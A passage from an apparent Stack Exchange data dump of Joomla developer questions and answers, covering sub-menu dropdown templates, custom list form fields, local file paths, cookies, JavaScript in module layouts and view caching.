here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Here is what I have on my Joomla Menu setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tkhJ5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkhJ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Under Joomla module 'Menu' I have selected to show 'Sub-menu':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Under the &quot;html/mod_menu/bs-dropdown.php&quot; in template &quot;portent&quot;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Note. It is important to remove spaces between elements.&#xA;?&amp;gt;&#xA;&amp;lt;?php // The menu class is deprecated. Use nav instead. ?&amp;gt;&#xA;&amp;lt;ul class=&quot;nav &amp;lt;?php echo $class_sfx;?&amp;gt;&quot;&amp;lt;?php&#xA;    $tag = '';&#xA;&#xA;    if ($params-&amp;gt;get('tag_id') != null)&#xA;    {&#xA;        $tag = $params-&amp;gt;get('tag_id') . '';&#xA;        echo ' id=&quot;' . $tag . '&quot;';&#xA;    }&#xA;?&amp;gt;&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item)&#xA;{&#xA;    $class = 'item-' . $item-&amp;gt;id;&#xA;&#xA;    if ($item-&amp;gt;id == $active_id)&#xA;    {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path))&#xA;    {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type == 'alias')&#xA;    {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path) - 1])&#xA;        {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path))&#xA;        {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;type == 'separator')&#xA;    {&#xA;        $class .= ' divider';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;type == 'heading')&#xA;    {&#xA;        $class .= ' muted';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' dropdown nav-stacked';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $class .= ' parent';&#xA;    }&#xA;&#xA;    if (!empty($class))&#xA;    {&#xA;        $class = ' class=&quot;' . trim($class) . '&quot;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li' . $class . '&amp;gt;';&#xA;&#xA;    // Render the menu item.&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'url':&#xA;        case 'component':&#xA;        case 'heading':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_' . $item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;';&#xA;    }&#xA;    elseif ($item-&amp;gt;shallower)&#xA;    {&#xA;        // The next item is shallower.&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;    else&#xA;    {&#xA;        // The next item is on the same level.&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;@grant-g this is what I get under inspect element :( &#xA;&lt;a href=&quot;https://i.stack.imgur.com/F3LY4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F3LY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://@SethWarburton&quot; rel=&quot;nofollow noreferrer&quot;&gt;@SethWarburton&lt;/a&gt; any advise on this? &lt;/p&gt;&#xA;" OwnerUserId="14349" LastEditorUserId="12352" LastEditDate="2020-06-15T14:06:58.843" LastActivityDate="2024-02-25T20:05:15.607" Title="Joomla 3.9 Child Sub Menu Not Showing" Tags="|templates|extensions|joomla-3.3.x|menu|submenu|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="28148" PostTypeId="1" AcceptedAnswerId="28153" CreationDate="2020-06-13T20:41:21.833" Score="0" ViewCount="725" Body="&lt;p&gt;I have created a custom form field which extends the list form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I takes some JSON and creates the form options.  I used this documentation: &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see here that I can use &lt;code&gt;getValues&lt;/code&gt; too, but I really want to &lt;code&gt;setValues&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated, working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptions()&#xA;{&#xA;    $json = '{&quot;items&quot;:[{&quot;aliases&quot;:[&quot;http://www.stackoverflow.com&quot;,&quot;http://facebook.stackoverflow.com&quot;],&quot;api_site_parameter&quot;:&quot;meta.stackoverflow&quot;~}';&#xA;    $sites = json_decode($json, true);&#xA;&#xA;    $i = 0;&#xA;    foreach($sites['items'] as $site)&#xA;    {&#xA;        $site = $site['api_site_parameter'];&#xA;        $stackExchangesSitesOptions[] = array(&quot;value&quot; =&amp;gt; $site, &quot;text&quot; =&amp;gt; $site);&#xA;        $i++;&#xA;    }&#xA;    // Merge any additional options in the XML definition.&#xA;    $options = array_merge(parent::getOptions(), $stackExchangesSitesOptions);&#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-06-14T13:46:23.970" LastActivityDate="2020-06-14T13:46:23.970" Title="How can I set the option values of my custom list formfield" Tags="|form-fields-types|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28149" PostTypeId="2" ParentId="28105" CreationDate="2020-06-13T21:34:06.373" Score="0" Body="&lt;p&gt;Here was the final answer which was placed in &lt;strong&gt;mod_modulename/models/fields/stackexchangesites.php&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// load the list class&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;// The class name must always be the same as the filename (in camel case).  &#xA;// Extend the list class&#xA;class JFormFieldStackexchangesites extends JFormFieldList&#xA;{&#xA;&#xA;    //The field class must know its own type through the variable $type.&#xA;    protected $type = 'Stackexchangesites';&#xA;&#xA;    // declare the function to get options&#xA;    public function getOptions()&#xA;    {&#xA;&#xA;        // assign JSON to a variable&#xA;        $json = '{&quot;items&quot;:[{&quot;aliases&quot;:[&quot;http://www.stackoverflow.com&quot;,&quot;http://facebook.stackoverflow.com&quot;],.....~';&#xA;&#xA;        // decode the JSON, and set it as an associative array&#xA;        $sites = json_decode($json, true);&#xA;&#xA;        // set the value of i so we can iterate over it&#xA;        $i = 0;&#xA;&#xA;        // run a foreach on our JSON to get the values for our options&#xA;        foreach($sites['items'] as $site)&#xA;        {&#xA;            // find the api_site_parameter&#xA;            $stackExchangesSitesOptions[] = $site['api_site_parameter'];&#xA;&#xA;            // iterate our i&#xA;            $i++;&#xA;        }&#xA;&#xA;        // Merge any additional options in the XML definition.&#xA;        $options = array_merge(parent::getOptions(), $stackExchangesSitesOptions);&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, in my XML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..~&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            // add field path so it knows where to look&#xA;            &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/modules/mod_kou_stack_exchange/models/fields&quot;&amp;gt;&#xA;                ..~&#xA;                // include your field&#xA;                &amp;lt;field&#xA;                        name=&quot;stackexchangesites&quot;&#xA;                        type=&quot;stackexchangesites&quot;&#xA;                        label=&quot;Stackexchange Sites&quot;&#xA;                        description=&quot;JFIELD_TITLE_DESC&quot;&#xA;                        showon=&quot;live_or_beta_stackexchange_sites:live&quot;&#xA;                /&amp;gt;&#xA;                ..~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the field does is create a dropdown with a list of all the stackexchange sites.  The final output of the module loads questions from a stack exchange site based on the user.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-06-13T21:34:06.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28150" PostTypeId="2" ParentId="28148" CreationDate="2020-06-14T00:05:16.823" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Form.Form.html#method_setValue&quot; rel=&quot;nofollow noreferrer&quot;&gt;setValue&lt;/a&gt; method on the form, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $this-&amp;gt;form-&amp;gt;setValue('name', 'group', 'value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-14T00:05:16.823" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28151" PostTypeId="2" ParentId="28147" CreationDate="2020-06-14T00:22:40.480" Score="0" Body="&lt;p&gt;Untested, but I think you ought to change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' dropdown nav-stacked';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($item-&amp;gt;deeper) {&#xA;        if ($item-&amp;gt;level &amp;gt; 1){&#xA;            $class .= ' dropdown-submenu';&#xA;        } else {&#xA;            $class .= ' deeper dropdown';&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to use Chrome Dev Tools inspect, to identify the desired submenu dropdown, and add the appropriate class. The classes above are Bootstrap 3 classes. I also think your mod_menu template has been modified for your template, so you might want to look at putting &lt;code&gt;nav-stacked&lt;/code&gt; class in parent nav element, so &lt;code&gt;&amp;lt;ul class=&quot;nav nav-stacked&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-14T00:22:40.480" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="28152" PostTypeId="2" ParentId="28143" CreationDate="2020-06-14T00:29:58.087" Score="0" Body="&lt;p&gt;Try this: Global Configuration &gt; Search Engine Friendly URLs: OFF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the &quot;broken&quot; pages now work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content &gt; Articles &gt; Options &gt; &quot;Integration&quot; tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;URL Routing&quot; - is this set to Legacy or Modern? If &quot;Modern&quot; is set, what is &quot;Remove IDs from URLs&quot; set to?&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-14T00:29:58.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28153" PostTypeId="2" ParentId="28148" CreationDate="2020-06-14T07:56:05.580" Score="1" Body="&lt;p&gt;If you're extending the list form field &lt;code&gt;JFormFieldList&lt;/code&gt; then you should provide the function &lt;code&gt;getOptions()&lt;/code&gt; which should return the list of options for the select field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of options which you return should be an associative array of name/value pairs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(array('value' =&amp;gt; 1, 'text' =&amp;gt; 'option one'),&#xA;      array('value' =&amp;gt; 2, 'text' =&amp;gt; 'option two'),&#xA;      array('value' =&amp;gt; 3, 'text' =&amp;gt; 'option three'),&#xA;      );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will then get the 'value' selected in your http post request from the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can preselect one or more of these values by setting the class protected variable &lt;code&gt;$this-&amp;gt;value&lt;/code&gt;, but note that to set more than 1 you need to have defined &lt;code&gt;multiple=&quot;true&quot;&lt;/code&gt; in the XML definition of your form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the sample code for City.php in the Sample Component Code section on &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for information, &lt;code&gt;getValue()&lt;/code&gt; would be used if you had a custom field which extended &lt;code&gt;JFormField&lt;/code&gt;. In that case you'd need to provide 3 functions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;getLabel() which would provide the label for the field&lt;/li&gt;&#xA;&lt;li&gt;getInput() which would provide the html for the input element&lt;/li&gt;&#xA;&lt;li&gt;getValue() which would provide the value=&quot;xxx&quot; attribute for the html input element, and which would then be shown as the value in the input field. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-06-14T07:56:05.580" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28154" PostTypeId="1" AcceptedAnswerId="28164" CreationDate="2020-06-14T14:23:27.330" Score="0" ViewCount="232" Body="&lt;p&gt;I'm trying to use &lt;code&gt;file_get_contents&lt;/code&gt; to reference a &lt;code&gt;.json&lt;/code&gt; file in my module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My directory structure is as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my custom field which is trying to reference the json file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/models/fields.stackexchangesites.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my json file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/media/js/sites.json&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $json = 'modules/mod_kou_stack_exchange/media/js/sites.json';&#xA;    $json = file_get_contents($json);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP cannot find the file.  I think perhaps because it is trying to reference it from the original file location.  If I put the full location in the file it works, so long as I add an exception in Admin Tools.  I don't want to hard code the URL as it might be used on other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I have the option to use the URI function in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/URLs_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/URLs_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I try to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Uri\Uri;&#xA;$uri = Uri::getInstance();&#xA;$url = $uri-&amp;gt;toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within my code, it is then not accessible within the class that I am using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldStackexchangesites extends JFormFieldList&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to add &lt;code&gt;use&lt;/code&gt; &lt;code&gt;$uri&lt;/code&gt; and &lt;code&gt;$url&lt;/code&gt; within the class that doesn't work either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this must be something to do with scope but having tried a few different ways I can't understand how to get it working.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to understand how to get this working?&#xA;And can anyone help me to understand why a relative path doesn't work?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-06-15T12:46:18.947" Title="How to reference a file locally within my class" Tags="|php|url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28155" PostTypeId="2" ParentId="28154" CreationDate="2020-06-14T15:40:49.157" Score="1" Body="&lt;p&gt;Use the filepath:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUri::base() . '/modules/mod_kou_stack_exchange/media/js/sites.json'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filesystem equivalent of, eg. &lt;code&gt;/public_html/yoursite/modules/...&lt;/code&gt; or &lt;code&gt;/htdocs/yoursite/modules/...&lt;/code&gt; where Joomla is installed in &lt;code&gt;yoursite&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-14T15:40:49.157" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28159" PostTypeId="1" AcceptedAnswerId="28160" CreationDate="2020-06-14T19:28:49.373" Score="0" ViewCount="618" Body="&lt;p&gt;I need to display all cookies that Joomla uses. I tried &lt;code&gt;print_r(headers_list)&lt;/code&gt; and I got this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Array ( [0] =&gt; X-Powered-By: PHP/7.3.12 ) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I tried &lt;code&gt;print_r($_COOKIE)&lt;/code&gt; and I got this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Array ( [12ecc9e8acc559e29bf3fafd5f5fe3df] =&gt;&#xA;  mta3apurfklkcufan01svecgvv )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, does Joomla normally use essential cookies? If so, how can I get them.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-06-14T19:35:39.383" LastActivityDate="2020-06-14T20:36:36.497" Title="How to retrieve all essential cookies used by Joomla?" Tags="|joomla-3.x|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28160" PostTypeId="2" ParentId="28159" CreationDate="2020-06-14T20:36:36.497" Score="3" Body="&lt;p&gt;You retrieve cookies in Joomla 3 by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie-&amp;gt;get('cookiename');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cookie set in your &lt;code&gt;print_r($_COOKIE)&lt;/code&gt; is the session cookie, this is usually referenced by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;echo $session-&amp;gt;getId();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other cookies will be set depending if you the user is logged in, and a multitude of others depending on 3rd party extensions.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-14T20:36:36.497" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28161" PostTypeId="1" AcceptedAnswerId="28162" CreationDate="2020-06-14T22:27:23.170" Score="0" ViewCount="379" Body="&lt;p&gt;I am building a custom module for Joomla. Let's call the module &quot;mod_mygallery&quot;.&#xA;Inside the module I have a the files &lt;code&gt;mod_mygallery.php&lt;/code&gt;, &lt;code&gt;helper.php&lt;/code&gt; and &lt;code&gt;mod_mygallery.xml&lt;/code&gt;.&#xA;And off course I also have the &lt;code&gt;tmpl/default.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am still pretty new at building my own components and modules, I would like some input on how to deal with JavaScript and jQuery inside the template php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to keep my tmpl file as clean as possible. Adding stylesheets, scripts and declaring php vars is all done inside the main mod_mygallery.php file, with some help from my helper class in helper.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module works fine as it is. But I wonder what is best practice to add some jQuery on document ready.&#xA;Currently, I have declare a JS variable that gets an object from php. On document ready the object is used to initialize my gallery (using &lt;a href=&quot;https://sachinchoolur.github.io/lightGallery/&quot; rel=&quot;nofollow noreferrer&quot;&gt;light gallery&lt;/a&gt;). This is my tmpl/default.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;gallery&quot; class=&quot;gallery&quot;&amp;gt;&#xA;    &amp;lt;?php echo $images; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;const gallerySettings = &amp;lt;?php echo json_encode($gallerySettings, JSON_PRETTY_PRINT); ?&amp;gt;;&#xA;jQuery(document).ready(function() {&#xA;    jQuery(&quot;#gallery&quot;).lightGallery(&#xA;        gallerySettings&#xA;    );&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this good practice?&lt;/strong&gt; How would you do it? I would prefer to also keep my JS outside of the template file, but I'm not sure how. Or am I overthinking it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insights on this. &lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-06-15T07:36:35.230" Title="Custom module best practices. JS inside template file or not?" Tags="|templates|javascript|template-override|custom-module|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28162" PostTypeId="2" ParentId="28161" CreationDate="2020-06-15T05:38:26.110" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Adding stylesheets, scripts and declaring php vars is all done inside the main mod_mygallery.php file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is bad. Styles and scripts should be added in layout files to allow overriding with ease. This way unneeded assets can even be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding JavaScript manually is bad also. You should use &lt;a href=&quot;https://api.joomla.org/cms-3/namespaces/Joomla.CMS.Document.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Document&lt;/a&gt; API instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could avoid JS code cluttering your layout file by using &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.Document.html#method_addScriptOptions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\CMS\Document\Document::addScriptOptions()&lt;/code&gt;&lt;/a&gt; instead. Though this would require adding another JS file or modifying existing one to handle initialization of your script.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-06-15T05:38:26.110" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28163" PostTypeId="2" ParentId="28161" CreationDate="2020-06-15T07:36:35.230" Score="0" Body="&lt;p&gt;Here is the standard way of adding JavaScript code any extension in Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getToolTipJS($toolTipVarName, $toolTipClassName){&#xA;    $javascript = 'window.addEvent(\&quot;domready\&quot;, function(){' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t&quot;  .'var $toolTipVarName = new Tips($$(&quot;' . $toolTipVarName .'&quot;), {' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'className: &quot;' .$toolTipClassName .'&quot;,' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'initialize: function(){' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t\t&quot;    .'this.fx = new Fx.Style(this.toolTip, &quot;opacity&quot;, {duration: 500, wait: false}).set(0);' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'},' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'onShow: function(toolTip){' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t\t&quot;    .'this.fx.start(1);' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'},' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'onHide: function(toolTip) {' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t\t&quot;    .'this.fx.start(0);' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t\t&quot;   .'}' .&quot;\n&quot;;&#xA;    $javascript .= &quot;\t&quot;  .'});' .&quot;\n&quot;;&#xA;    $javascript .= '});' .&quot;\n\n&quot;;&#xA;    return $javascript;&#xA;}&#xA;&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addStyleSheet(&quot;/joomla/components/com_mycustomcomponent/css/mytooltip.css&quot;,'text/css',&quot;screen&quot;);&#xA;    $document-&amp;gt;addScriptDeclaration(getToolTipJS(&quot;mytool&quot;,&quot;MyToolTip&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11277" LastActivityDate="2020-06-15T07:36:35.230" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28164" PostTypeId="2" ParentId="28154" CreationDate="2020-06-15T12:46:18.947" Score="1" Body="&lt;p&gt;Don't use &lt;code&gt;JUri&lt;/code&gt; for fetching local files. It returns the web address of your site. Fetching files over HTTP is extremely slow compared to fetching files locally. Use one of &lt;code&gt;JPATH&lt;/code&gt; constants to get a local filesystem path, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json = JPATH_BASE . '/modules/mod_kou_stack_exchange/media/js/sites.json';&#xA;$json = file_get_contents($json);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Constants&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-06-15T12:46:18.947" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28165" PostTypeId="1" CreationDate="2020-06-15T17:38:14.403" Score="2" ViewCount="90" Body="&lt;p&gt;I'm currently debugging (and trying to understand why) the caching for the html view is created, but not for the xml view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the Joomla! documentation article &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Cache&lt;/a&gt;&#xA;and a similiar question in this portal 5 years ago: &lt;a href=&quot;https://joomla.stackexchange.com/questions/5781/how-can-i-use-joomlas-cache-with-my-components-view&quot;&gt;How can I use Joomla&amp;#39;s Cache with my components view?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;controller.php&lt;/code&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cacheable = false, $urlparams = false)&#xA;{&#xA;    $cacheable = true;&#xA;&#xA;    $viewName   = $this-&amp;gt;input-&amp;gt;get('view');&#xA;    $viewLayout = $this-&amp;gt;input-&amp;gt;get('layout', 'default');&#xA;&#xA;    if (JFactory::getUser()-&amp;gt;get('id') || !in_array($viewName, array('html', 'xml')) || $viewLayout == 'xsl') {&#xA;        $cacheable = false;&#xA;    }&#xA;&#xA;    $document = JFactory::getDocument();&#xA;    $viewType = $document-&amp;gt;getType();&#xA;&#xA;    $view = $this-&amp;gt;getView($viewName, $viewType, '', array('base_path' =&amp;gt; $this-&amp;gt;basePath, 'layout' =&amp;gt; $viewLayout));&#xA;&#xA;    